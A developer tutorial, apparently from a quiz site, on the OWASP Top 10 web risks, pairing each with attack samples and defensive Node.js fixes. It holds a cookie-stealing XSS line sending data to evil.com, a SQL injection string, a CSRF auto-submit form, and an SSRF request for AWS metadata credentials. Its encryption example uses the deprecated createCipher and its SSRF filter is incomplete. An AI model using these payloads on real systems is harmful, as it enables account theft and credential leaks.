Web Security: OWASP Top 10 Vulnerabilities Every Developer Must Know
Security is not the responsibility of a dedicated security team alone β it is every developer's job. The OWASP Top 10 is the industry-standard reference for the most critical web application security risks. Understanding these vulnerabilities and how to prevent them is expected in any serious developer interview.
1. Injection (SQL Injection)
The most classic vulnerability. An attacker injects malicious code into a query or command that gets executed by the backend.
The attack
javascript// Vulnerable -- user input directly in SQL const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`; // Attacker enters email: ' OR '1'='1 // Resulting query: // SELECT * FROM users WHERE email = '' OR '1'='1' AND password = '...' // Returns all users -- attacker is logged in
The fix: parameterized queries
javascript// Safe -- parameterized query const query = "SELECT * FROM users WHERE email = $1 AND password = $2"; const result = await db.query(query, [email, password]); // ORM also protects you const user = await User.findOne({ where: { email, password } });
Never concatenate user input into SQL strings. Use parameterized queries, prepared statements, or an ORM.
2. Broken Authentication
Weak authentication mechanisms that allow attackers to compromise passwords, session tokens, or exploit implementation flaws.
Common mistakes
- Storing plain-text or weakly hashed passwords (MD5, SHA1)
- Not rate-limiting login attempts (enables brute force)
- Weak or predictable session tokens
- Not expiring sessions after logout
- Missing multi-factor authentication for sensitive accounts
The fix
javascript// Hash passwords with bcrypt (never MD5 or SHA1) const bcrypt = require("bcrypt"); const SALT_ROUNDS = 12; async function hashPassword(plaintext) { return bcrypt.hash(plaintext, SALT_ROUNDS); } async function verifyPassword(plaintext, hash) { return bcrypt.compare(plaintext, hash); } // Rate limit login attempts const rateLimit = require("express-rate-limit"); const loginLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 minutes max: 5, // 5 attempts per window message: "Too many login attempts, please try again later", }); app.post("/login", loginLimiter, loginHandler);
3. Cross-Site Scripting (XSS)
An attacker injects malicious JavaScript into a page viewed by other users. The script runs in the victim's browser with access to their cookies, tokens, and DOM.
The attack
javascript// Vulnerable -- user input rendered as raw HTML const comment = "<script>document.location='https://evil.com/steal?c='+document.cookie</script>"; element.innerHTML = comment; // executes the script for every viewer
Types of XSS
- Stored XSS β malicious script saved in the database (comments, profiles)
- Reflected XSS β script in a URL parameter, reflected in the response
- DOM-based XSS β client-side code writes user input to the DOM unsafely
The fix
javascript// Never use innerHTML with user input element.textContent = userInput; // safe element.innerHTML = escapeHtml(input); // safe if properly escaped // Content Security Policy header app.use((req, res, next) => { res.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'self'; object-src 'none'"); next(); }); // React escapes by default return <div>{userComment}</div>; // safe -- React escapes this // Only dangerouslySetInnerHTML bypasses escaping -- avoid it with user input
4. Insecure Direct Object References (IDOR)
A user can access another user's resources by guessing or manipulating an ID.
The attack
codeGET /api/invoices/1234 -- user sees their invoice GET /api/invoices/1235 -- user changes the ID and sees someone else's invoice
The fix
Always verify the requesting user owns the resource:
javascript// Vulnerable -- only checks if invoice exists app.get("/api/invoices/:id", async (req, res) => { const invoice = await Invoice.findById(req.params.id); return res.json(invoice); }); // Secure -- verifies ownership app.get("/api/invoices/:id", authenticate, async (req, res) => { const invoice = await Invoice.findOne({ where: { id: req.params.id, userId: req.user.id, // must belong to current user }, }); if (!invoice) return res.status(404).json({ error: "Not found" }); return res.json(invoice); });
5. Security Misconfiguration
The most common vulnerability. Security settings left at insecure defaults, unnecessary features enabled, error messages exposing stack traces, default credentials.
Common mistakes
javascript// Exposing stack traces in production app.use((err, req, res, next) => { res.status(500).json({ error: err.stack }); // leaks internals }); // Correct app.use((err, req, res, next) => { console.error(err); // log internally res.status(500).json({ error: "Internal server error" }); // generic message });
Security headers
javascriptconst helmet = require("helmet"); app.use(helmet()); // sets X-Frame-Options, X-Content-Type-Options, HSTS, etc.
Always:
- Disable directory listing on web servers
- Remove default credentials immediately
- Disable debug mode in production
- Remove unused dependencies and features
- Keep dependencies updated
6. Cross-Site Request Forgery (CSRF)
A malicious site tricks a logged-in user's browser into making unintended requests to your site.
The attack
html<!-- On evil.com -- submits a form to your bank using the victim's cookies --> <form action="https://yourbank.com/transfer" method="POST"> <input name="amount" value="10000"> <input name="to" value="attacker-account"> </form> <script>document.forms[0].submit();</script>
The fix: CSRF tokens and SameSite cookies
javascript// CSRF token (traditional approach) const csrf = require("csurf"); app.use(csrf({ cookie: true })); app.get("/form", (req, res) => { res.render("form", { csrfToken: req.csrfToken() }); }); // Render in the form: // <input type="hidden" name="_csrf" value="{{ csrfToken }}">
javascript// SameSite cookies (modern approach -- simpler) app.use(session({ cookie: { sameSite: "strict", // or "lax" -- prevents CSRF for most cases secure: true, httpOnly: true, }, }));
For APIs using Authorization headers (not cookies), CSRF is generally not a risk β browsers do not automatically send custom headers cross-origin.
7. Sensitive Data Exposure
Failing to protect sensitive data in transit or at rest.
Common mistakes
- Transmitting data over HTTP instead of HTTPS
- Storing sensitive data in logs
- Not encrypting PII in the database
- Using weak encryption algorithms
- Caching sensitive data in URLs (query params)
The fix
javascript// Always use HTTPS in production // Redirect HTTP to HTTPS app.use((req, res, next) => { if (!req.secure && process.env.NODE_ENV === "production") { return res.redirect("https://" + req.headers.host + req.url); } next(); }); // Never log sensitive data logger.info("User logged in", { userId: user.id, // Do not log: password, token, credit card, SSN }); // Encrypt PII at rest const encrypted = crypto.createCipher("aes-256-gcm", key) .update(socialSecurityNumber, "utf8", "hex");
8. Using Components with Known Vulnerabilities
Outdated dependencies with known CVEs expose your application to published exploits.
The fix
bash# Check for known vulnerabilities npm audit npm audit fix # Check outdated packages npm outdated # Use automated dependency updates # GitHub Dependabot, Snyk, or Renovate Bot
Set up automated dependency scanning in your CI pipeline. A critical CVE should trigger an alert and fast-track patching.
9. Insufficient Logging and Monitoring
Without logs, you cannot detect attacks, investigate incidents, or prove compliance.
What to log
javascript// Log security-relevant events logger.warn("Failed login attempt", { email: req.body.email, ip: req.ip, userAgent: req.headers["user-agent"], timestamp: new Date().toISOString(), }); logger.info("User privilege escalated", { actorId: req.user.id, targetId: targetUser.id, newRole: newRole, }); logger.error("JWT validation failed", { token: req.headers.authorization?.substring(0, 20) + "...", ip: req.ip, });
Set alerts for anomalies: sudden spike in failed logins (brute force), unusual data exports, access from new geographic locations.
10. Server-Side Request Forgery (SSRF)
An attacker tricks the server into making requests to internal infrastructure.
The attack
codePOST /api/fetch-preview { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } // Server fetches the URL and returns AWS credentials to the attacker
The fix
javascriptconst { URL } = require("url"); function isSafeUrl(urlString) { try { const url = new URL(urlString); // Only allow http and https if (!["http:", "https:"].includes(url.protocol)) return false; // Block private IP ranges const hostname = url.hostname; if (hostname === "localhost") return false; if (hostname.startsWith("192.168.")) return false; if (hostname.startsWith("10.")) return false; if (hostname === "169.254.169.254") return false; // AWS metadata return true; } catch { return false; } }
General Security Principles
- Validate all input on the server side β never trust the client
- Principle of least privilege β grant minimum permissions needed
- Defense in depth β multiple layers of protection, not one
- Fail securely β errors should not reveal internal details
- Keep dependencies updated β patch known CVEs quickly
- Security headers β use Helmet.js or equivalent
- HTTPS everywhere β no exceptions in production
Practice Security Concepts on Froquiz
Security questions appear in senior backend interviews and any role involving user data. Explore our backend quizzes on Froquiz to sharpen your knowledge.
Summary
- SQL Injection β use parameterized queries, never concatenate user input
- Broken Authentication β bcrypt for passwords, rate limit logins, expire sessions
- XSS β escape output, Content Security Policy, use
textContentnotinnerHTML - IDOR β always verify resource ownership, not just existence
- Security Misconfiguration β disable debug in prod, remove defaults, use Helmet.js
- CSRF β SameSite cookies or CSRF tokens; APIs with Authorization headers are not affected
- Sensitive Data Exposure β HTTPS always, encrypt PII at rest, never log secrets
- Known Vulnerabilities β run
npm auditregularly, automate dependency updates - Logging β log security events, set alerts on anomalies
- SSRF β validate and allowlist URLs before making server-side requests